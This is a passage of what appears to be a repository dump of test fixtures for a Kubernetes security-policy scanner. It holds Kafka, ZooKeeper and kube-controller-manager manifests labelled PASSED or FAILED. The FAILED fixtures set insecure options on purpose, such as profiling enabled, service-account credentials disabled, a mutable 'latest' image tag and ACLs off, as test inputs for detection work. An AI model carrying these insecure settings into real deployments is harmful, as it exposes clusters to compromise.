log.segment.delete.delay.ms=60000 \\\n          --override message.max.bytes=1000012 \\\n          --override min.insync.replicas=1 \\\n          --override num.io.threads=8 \\\n          --override num.network.threads=3 \\\n          --override num.recovery.threads.per.data.dir=1 \\\n          --override num.replica.fetchers=1 \\\n          --override offset.metadata.max.bytes=4096 \\\n          --override offsets.commit.required.acks=-1 \\\n          --override offsets.commit.timeout.ms=5000 \\\n          --override offsets.load.buffer.size=5242880 \\\n          --override offsets.retention.check.interval.ms=600000 \\\n          --override offsets.retention.minutes=1440 \\\n          --override offsets.topic.compression.codec=0 \\\n          --override offsets.topic.num.partitions=50 \\\n          --override offsets.topic.replication.factor=3 \\\n          --override offsets.topic.segment.bytes=104857600 \\\n          --override queued.max.requests=500 \\\n          --override quota.consumer.default=9223372036854775807 \\\n          --override quota.producer.default=9223372036854775807 \\\n          --override replica.fetch.min.bytes=1 \\\n          --override replica.fetch.wait.max.ms=500 \\\n          --override replica.high.watermark.checkpoint.interval.ms=5000 \\\n          --override replica.lag.time.max.ms=10000 \\\n          --override replica.socket.receive.buffer.bytes=65536 \\\n          --override replica.socket.timeout.ms=30000 \\\n          --override request.timeout.ms=30000 \\\n          --override socket.receive.buffer.bytes=102400 \\\n          --override socket.request.max.bytes=104857600 \\\n          --override socket.send.buffer.bytes=102400 \\\n          --override unclean.leader.election.enable=true \\\n          --override zookeeper.session.timeout.ms=6000 \\\n          --override zookeeper.set.acl=false \\\n          --override broker.id.generation.enable=true \\\n          --override connections.max.idle.ms=600000 \\\n          --override controlled.shutdown.enable=true \\\n          --override controlled.shutdown.max.retries=3 \\\n          --override controlled.shutdown.retry.backoff.ms=5000 \\\n          --override controller.socket.timeout.ms=30000 \\\n          --override default.replication.factor=1 \\\n          --override fetch.purgatory.purge.interval.requests=1000 \\\n          --override group.max.session.timeout.ms=300000 \\\n          --override group.min.session.timeout.ms=6000 \\\n          --override inter.broker.protocol.version=0.10.2-IV0 \\\n          --override log.cleaner.backoff.ms=15000 \\\n          --override log.cleaner.dedupe.buffer.size=134217728 \\\n          --override log.cleaner.delete.retention.ms=86400000 \\\n          --override log.cleaner.enable=true \\\n          --override log.cleaner.io.buffer.load.factor=0.9 \\\n          --override log.cleaner.io.buffer.size=524288 \\\n          --override log.cleaner.io.max.bytes.per.second=1.7976931348623157E308 \\\n          --override log.cleaner.min.cleanable.ratio=0.5 \\\n          --override log.cleaner.min.compaction.lag.ms=0 \\\n          --override log.cleaner.threads=1 \\\n          --override log.cleanup.policy=delete \\\n          --override log.index.interval.bytes=4096 \\\n          --override log.index.size.max.bytes=10485760 \\\n          --override log.message.timestamp.difference.max.ms=9223372036854775807 \\\n          --override log.message.timestamp.type=CreateTime \\\n          --override log.preallocate=false \\\n          --override log.retention.check.interval.ms=300000 \\\n          --override max.connections.per.ip=2147483647 \\\n          --override num.partitions=1 \\\n          --override producer.purgatory.purge.interval.requests=1000 \\\n          --override replica.fetch.backoff.ms=1000 \\\n          --override replica.fetch.max.bytes=1048576 \\\n          --override replica.fetch.response.max.bytes=10485760 \\\n          --override reserved.broker.max.id=1000 \"\n        env:\n        - name: KAFKA_HEAP_OPTS\n          value : \"-Xmx2G -Xms2G\"\n        - name: KAFKA_OPTS\n          value: \"-Dlogging.level=INFO\"\n        volumeMounts:\n        - name: datadir\n          mountPath: /var/lib/kafka\n        readinessProbe:\n          exec:\n           command: \n            - sh \n            - -c \n            - \"/opt/kafka/bin/kafka-broker-api-versions.sh --bootstrap-server=localhost:9093\"\n      securityContext:\n        runAsUser: 1000\n        fsGroup: 1000\n  volumeClaimTemplates:\n  - metadata:\n      name: datadir\n    spec:\n      accessModes: [ \"ReadWriteOnce\" ]\n      resources:\n        requests:\n          storage: 10Gi\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ImageTagFixed/job-ImageTagLatest-FAILED.yaml",
    "content": "apiVersion: batch/v1\nkind: Job\nmetadata:\n  name: countdown\nspec:\n  template:\n    metadata:\n      name: countdown\n    spec:\n      containers:\n      - name: counter\n        image: centos:latest\n        command:\n         - \"bin/bash\"\n         - \"-c\"\n         - \"for i in 9 8 7 6 5 4 3 2 1 ; do echo $i ; done\"\n      restartPolicy: Never\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ImageTagFixed/kafka-ImageWithRepo-PASSED.yaml",
    "content": "apiVersion: apps/v1beta1\nkind: StatefulSet\nmetadata:\n  name: kafka\nspec:\n  serviceName: kafka-hs\n  replicas: 5\n  podManagementPolicy: Parallel\n  updateStrategy:\n    type: RollingUpdate\n  template:\n    metadata:\n      labels:\n        app: kafka\n    spec:\n      affinity:\n        podAntiAffinity:\n          requiredDuringSchedulingIgnoredDuringExecution:\n            - labelSelector:\n                matchExpressions:\n                  - key: \"app\"\n                    operator: In\n                    values:\n                      - kafka\n              topologyKey: \"kubernetes.io/hostname\"\n        podAffinity:\n          preferredDuringSchedulingIgnoredDuringExecution:\n            - weight: 1\n              podAffinityTerm:\n                labelSelector:\n                  matchExpressions:\n                    - key: \"app\"\n                      operator: In\n                      values:\n                        - zk\n                topologyKey: \"kubernetes.io/hostname\"\n      terminationGracePeriodSeconds: 300\n      containers:\n        - name: k8skafka\n          imagePullPolicy: Always\n          image: docker-registry.mycompany.co:4567/super-sre/kafka/kafka-docker/release:1.0.9\n          resources:\n            requests:\n              memory: \"12Gi\"\n              cpu: 4\n          ports:\n            - containerPort: 9093\n              name: server\n          command:\n            - sh\n            - -c\n            - \"exec kafka-server-start.sh /opt/kafka/config/server.properties --override broker.id=${HOSTNAME##*-} \\\n          --override listeners=PLAINTEXT://:9093 \\\n          --override zookeeper.connect=zk-cs.default.svc.cluster.local:2181 \\\n          --override log.dir=/var/lib/kafka \\\n          --override auto.create.topics.enable=true \\\n          --override auto.leader.rebalance.enable=true \\\n          --override background.threads=10 \\\n          --override compression.type=producer \\\n          --override delete.topic.enable=false \\\n          --override leader.imbalance.check.interval.seconds=300 \\\n          --override leader.imbalance.per.broker.percentage=10 \\\n          --override log.flush.interval.messages=9223372036854775807 \\\n          --override log.flush.offset.checkpoint.interval.ms=60000 \\\n          --override log.flush.scheduler.interval.ms=9223372036854775807 \\\n          --override log.retention.bytes=-1 \\\n          --override log.retention.hours=168 \\\n          --override log.roll.hours=168 \\\n          --override log.roll.jitter.hours=0 \\\n          --override log.segment.bytes=1073741824 \\\n          --override log.segment.delete.delay.ms=60000 \\\n          --override message.max.bytes=1000012 \\\n          --override min.insync.replicas=1 \\\n          --override num.io.threads=8 \\\n          --override num.network.threads=3 \\\n          --override num.recovery.threads.per.data.dir=1 \\\n          --override num.replica.fetchers=1 \\\n          --override offset.metadata.max.bytes=4096 \\\n          --override offsets.commit.required.acks=-1 \\\n          --override offsets.commit.timeout.ms=5000 \\\n          --override offsets.load.buffer.size=5242880 \\\n          --override offsets.retention.check.interval.ms=600000 \\\n          --override offsets.retention.minutes=1440 \\\n          --override offsets.topic.compression.codec=0 \\\n          --override offsets.topic.num.partitions=50 \\\n          --override offsets.topic.replication.factor=3 \\\n          --override offsets.topic.segment.bytes=104857600 \\\n          --override queued.max.requests=500 \\\n          --override quota.consumer.default=9223372036854775807 \\\n          --override quota.producer.default=9223372036854775807 \\\n          --override replica.fetch.min.bytes=1 \\\n          --override replica.fetch.wait.max.ms=500 \\\n          --override replica.high.watermark.checkpoint.interval.ms=5000 \\\n          --override replica.lag.time.max.ms=10000 \\\n          --override replica.socket.receive.buffer.bytes=65536 \\\n          --override replica.socket.timeout.ms=30000 \\\n          --override request.timeout.ms=30000 \\\n          --override socket.receive.buffer.bytes=102400 \\\n          --override socket.request.max.bytes=104857600 \\\n          --override socket.send.buffer.bytes=102400 \\\n          --override unclean.leader.election.enable=true \\\n          --override zookeeper.session.timeout.ms=6000 \\\n          --override zookeeper.set.acl=false \\\n          --override broker.id.generation.enable=true \\\n          --override connections.max.idle.ms=600000 \\\n          --override controlled.shutdown.enable=true \\\n          --override controlled.shutdown.max.retries=3 \\\n          --override controlled.shutdown.retry.backoff.ms=5000 \\\n          --override controller.socket.timeout.ms=30000 \\\n          --override default.replication.factor=1 \\\n          --override fetch.purgatory.purge.interval.requests=1000 \\\n          --override group.max.session.timeout.ms=300000 \\\n          --override group.min.session.timeout.ms=6000 \\\n          --override inter.broker.protocol.version=0.10.2-IV0 \\\n          --override log.cleaner.backoff.ms=15000 \\\n          --override log.cleaner.dedupe.buffer.size=134217728 \\\n          --override log.cleaner.delete.retention.ms=86400000 \\\n          --override log.cleaner.enable=true \\\n          --override log.cleaner.io.buffer.load.factor=0.9 \\\n          --override log.cleaner.io.buffer.size=524288 \\\n          --override log.cleaner.io.max.bytes.per.second=1.7976931348623157E308 \\\n          --override log.cleaner.min.cleanable.ratio=0.5 \\\n          --override log.cleaner.min.compaction.lag.ms=0 \\\n          --override log.cleaner.threads=1 \\\n          --override log.cleanup.policy=delete \\\n          --override log.index.interval.bytes=4096 \\\n          --override log.index.size.max.bytes=10485760 \\\n          --override log.message.timestamp.difference.max.ms=9223372036854775807 \\\n          --override log.message.timestamp.type=CreateTime \\\n          --override log.preallocate=false \\\n          --override log.retention.check.interval.ms=300000 \\\n          --override max.connections.per.ip=2147483647 \\\n          --override num.partitions=1 \\\n          --override producer.purgatory.purge.interval.requests=1000 \\\n          --override replica.fetch.backoff.ms=1000 \\\n          --override replica.fetch.max.bytes=1048576 \\\n          --override replica.fetch.response.max.bytes=10485760 \\\n          --override reserved.broker.max.id=1000 \"\n          env:\n            - name: KAFKA_HEAP_OPTS\n              value : \"-Xmx2G -Xms2G\"\n            - name: KAFKA_OPTS\n              value: \"-Dlogging.level=INFO\"\n          volumeMounts:\n            - name: datadir\n              mountPath: /var/lib/kafka\n          readinessProbe:\n            exec:\n              command:\n                - sh\n                - -c\n                - \"/opt/kafka/bin/kafka-broker-api-versions.sh --bootstrap-server=localhost:9093\"\n      securityContext:\n        runAsUser: 1000\n        fsGroup: 1000\n  volumeClaimTemplates:\n    - metadata:\n        name: datadir\n      spec:\n        accessModes: [ \"ReadWriteOnce\" ]\n        resources:\n          requests:\n            storage: 10Gi"
  },
  {
    "path": "tests/kubernetes/checks/example_ImageTagFixed/kafka-PASSED.yaml",
    "content": "---\napiVersion: v1\nkind: Service\nmetadata:\n  name: kafka-hs\n  labels:\n    app: kafka\nspec:\n  ports:\n  - port: 9093\n    name: server\n  clusterIP: None\n  selector:\n    app: kafka\n---\napiVersion: policy/v1beta1\nkind: PodDisruptionBudget\nmetadata:\n  name: kafka-pdb\nspec:\n  selector:\n    matchLabels:\n      app: kafka\n  maxUnavailable: 1\n---\napiVersion: apps/v1beta1\nkind: StatefulSet\nmetadata:\n  name: kafka\nspec:\n  serviceName: kafka-hs\n  replicas: 5\n  podManagementPolicy: Parallel\n  updateStrategy:\n      type: RollingUpdate\n  template:\n    metadata:\n      labels:\n        app: kafka\n    spec:\n      affinity:\n        podAntiAffinity:\n          requiredDuringSchedulingIgnoredDuringExecution:\n            - labelSelector:\n                matchExpressions:\n                  - key: \"app\"\n                    operator: In\n                    values: \n                    - kafka\n              topologyKey: \"kubernetes.io/hostname\"\n        podAffinity:\n          preferredDuringSchedulingIgnoredDuringExecution:\n             - weight: 1\n               podAffinityTerm:\n                 labelSelector:\n                    matchExpressions:\n                      - key: \"app\"\n                        operator: In\n                        values: \n                        - zk\n                 topologyKey: \"kubernetes.io/hostname\"\n      terminationGracePeriodSeconds: 300\n      containers:\n      - name: k8skafka\n        imagePullPolicy: Always\n        image: gcr.io/google_containers/kubernetes-kafka:1.0-10.2.1\n        resources:\n          requests:\n            memory: \"12Gi\"\n            cpu: 4\n        ports:\n        - containerPort: 9093\n          name: server\n        command:\n        - sh\n        - -c\n        - \"exec kafka-server-start.sh /opt/kafka/config/server.properties --override broker.id=${HOSTNAME##*-} \\\n          --override listeners=PLAINTEXT://:9093 \\\n          --override zookeeper.connect=zk-cs.default.svc.cluster.local:2181 \\\n          --override log.dir=/var/lib/kafka \\\n          --override auto.create.topics.enable=true \\\n          --override auto.leader.rebalance.enable=true \\\n          --override background.threads=10 \\\n          --override compression.type=producer \\\n          --override delete.topic.enable=false \\\n          --override leader.imbalance.check.interval.seconds=300 \\\n          --override leader.imbalance.per.broker.percentage=10 \\\n          --override log.flush.interval.messages=9223372036854775807 \\\n          --override log.flush.offset.checkpoint.interval.ms=60000 \\\n          --override log.flush.scheduler.interval.ms=9223372036854775807 \\\n          --override log.retention.bytes=-1 \\\n          --override log.retention.hours=168 \\\n          --override log.roll.hours=168 \\\n          --override log.roll.jitter.hours=0 \\\n          --override log.segment.bytes=1073741824 \\\n          --override log.segment.delete.delay.ms=60000 \\\n          --override message.max.bytes=1000012 \\\n          --override min.insync.replicas=1 \\\n          --override num.io.threads=8 \\\n          --override num.network.threads=3 \\\n          --override num.recovery.threads.per.data.dir=1 \\\n          --override num.replica.fetchers=1 \\\n          --override offset.metadata.max.bytes=4096 \\\n          --override offsets.commit.required.acks=-1 \\\n          --override offsets.commit.timeout.ms=5000 \\\n          --override offsets.load.buffer.size=5242880 \\\n          --override offsets.retention.check.interval.ms=600000 \\\n          --override offsets.retention.minutes=1440 \\\n          --override offsets.topic.compression.codec=0 \\\n          --override offsets.topic.num.partitions=50 \\\n          --override offsets.topic.replication.factor=3 \\\n          --override offsets.topic.segment.bytes=104857600 \\\n          --override queued.max.requests=500 \\\n          --override quota.consumer.default=9223372036854775807 \\\n          --override quota.producer.default=9223372036854775807 \\\n          --override replica.fetch.min.bytes=1 \\\n          --override replica.fetch.wait.max.ms=500 \\\n          --override replica.high.watermark.checkpoint.interval.ms=5000 \\\n          --override replica.lag.time.max.ms=10000 \\\n          --override replica.socket.receive.buffer.bytes=65536 \\\n          --override replica.socket.timeout.ms=30000 \\\n          --override request.timeout.ms=30000 \\\n          --override socket.receive.buffer.bytes=102400 \\\n          --override socket.request.max.bytes=104857600 \\\n          --override socket.send.buffer.bytes=102400 \\\n          --override unclean.leader.election.enable=true \\\n          --override zookeeper.session.timeout.ms=6000 \\\n          --override zookeeper.set.acl=false \\\n          --override broker.id.generation.enable=true \\\n          --override connections.max.idle.ms=600000 \\\n          --override controlled.shutdown.enable=true \\\n          --override controlled.shutdown.max.retries=3 \\\n          --override controlled.shutdown.retry.backoff.ms=5000 \\\n          --override controller.socket.timeout.ms=30000 \\\n          --override default.replication.factor=1 \\\n          --override fetch.purgatory.purge.interval.requests=1000 \\\n          --override group.max.session.timeout.ms=300000 \\\n          --override group.min.session.timeout.ms=6000 \\\n          --override inter.broker.protocol.version=0.10.2-IV0 \\\n          --override log.cleaner.backoff.ms=15000 \\\n          --override log.cleaner.dedupe.buffer.size=134217728 \\\n          --override log.cleaner.delete.retention.ms=86400000 \\\n          --override log.cleaner.enable=true \\\n          --override log.cleaner.io.buffer.load.factor=0.9 \\\n          --override log.cleaner.io.buffer.size=524288 \\\n          --override log.cleaner.io.max.bytes.per.second=1.7976931348623157E308 \\\n          --override log.cleaner.min.cleanable.ratio=0.5 \\\n          --override log.cleaner.min.compaction.lag.ms=0 \\\n          --override log.cleaner.threads=1 \\\n          --override log.cleanup.policy=delete \\\n          --override log.index.interval.bytes=4096 \\\n          --override log.index.size.max.bytes=10485760 \\\n          --override log.message.timestamp.difference.max.ms=9223372036854775807 \\\n          --override log.message.timestamp.type=CreateTime \\\n          --override log.preallocate=false \\\n          --override log.retention.check.interval.ms=300000 \\\n          --override max.connections.per.ip=2147483647 \\\n          --override num.partitions=1 \\\n          --override producer.purgatory.purge.interval.requests=1000 \\\n          --override replica.fetch.backoff.ms=1000 \\\n          --override replica.fetch.max.bytes=1048576 \\\n          --override replica.fetch.response.max.bytes=10485760 \\\n          --override reserved.broker.max.id=1000 \"\n        env:\n        - name: KAFKA_HEAP_OPTS\n          value : \"-Xmx2G -Xms2G\"\n        - name: KAFKA_OPTS\n          value: \"-Dlogging.level=INFO\"\n        volumeMounts:\n        - name: datadir\n          mountPath: /var/lib/kafka\n        readinessProbe:\n          exec:\n           command: \n            - sh \n            - -c \n            - \"/opt/kafka/bin/kafka-broker-api-versions.sh --bootstrap-server=localhost:9093\"\n      securityContext:\n        runAsUser: 1000\n        fsGroup: 1000\n  volumeClaimTemplates:\n  - metadata:\n      name: datadir\n    spec:\n      accessModes: [ \"ReadWriteOnce\" ]\n      resources:\n        requests:\n          storage: 10Gi\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ImageTagFixed/storm-zookeeper-FAILED.json",
    "content": "{\n  \"kind\": \"Pod\",\n  \"apiVersion\": \"v1\",\n  \"metadata\": {\n    \"name\": \"zookeeper\",\n    \"labels\": {\n      \"name\": \"zookeeper\"\n    }\n  },\n  \"spec\": {\n    \"containers\": [\n      {\n        \"name\": \"zookeeper\",\n        \"image\": \"mattf/zookeeper\",\n        \"ports\": [\n          {\n            \"containerPort\": 2181\n          }\n        ],\n        \"resources\": {\n          \"limits\": {\n            \"cpu\": \"100m\"\n          }\n        }\n      }\n    ]\n  }\n}\n"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeControllerManagerBlockProfiles/ApiServer-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-controller-manager\n    tier: control-plane\n  name: kube-controller-manager-enabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    -  --profiling=true\n    image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-controller-manager-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeControllerManagerBlockProfiles/ApiServer-FAILED_2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-controller-manager\n    tier: control-plane\n  name: kube-controller-manager-default\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-controller-manager-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeControllerManagerBlockProfiles/ApiServer-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-controller-manager\n    tier: control-plane\n  name: kube-controller-manager-disabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    -  --profiling=false\n    image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-controller-manager-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeControllerManagerRootCAFile/ApiServer-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-controller-manager\n    tier: control-plane\n  name: kube-controller-manager-no-pem\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    -  --root-ca-file=file.txt\n    image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-controller-manager-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeControllerManagerRootCAFile/ApiServer-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-controller-manager\n    tier: control-plane\n  name: kube-controller-manager-pem\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    -  --root-ca-file=private.pem\n    image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-controller-manager-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeControllerManagerRootCAFile/ApiServer-PASSED_2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-controller-manager\n    tier: control-plane\n  name: kube-controller-manager-none\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-controller-manager-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeControllerManagerServiceAccountCredentials/ApiServer-FAILED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-controller-manager\n    tier: control-plane\n  name: kube-controller-manager-default\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-controller-manager-should-unknwown\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeControllerManagerServiceAccountCredentials/ApiServer-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-controller-manager\n    tier: control-plane\n  name: kube-controller-manager-disabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    - --use-service-account-credentials=false\n    image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-controller-manager-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeControllerManagerServiceAccountCredentials/ApiServer-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-controller-manager\n    tier: control-plane\n  name: kube-controller-manager-enabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    -  --use-service-account-credentials=true\n    image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-controller-manager-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeControllerManagerServiceAccountPrivateKeyFile/ApiServer-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-controller-manager\n    tier: control-plane\n  name: kube-controller-manager-no-pem\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    -  --service-account-private-key-file=public.txt\n    image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-controller-manager-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeControllerManagerServiceAccountPrivateKeyFile/ApiServer-PASSED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-controller-manager\n    tier: control-plane\n  name: kube-controller-manager-none\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-controller-manager-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubeControllerManagerServiceAccountPrivateKeyFile/ApiServer-PASSED.yaml",
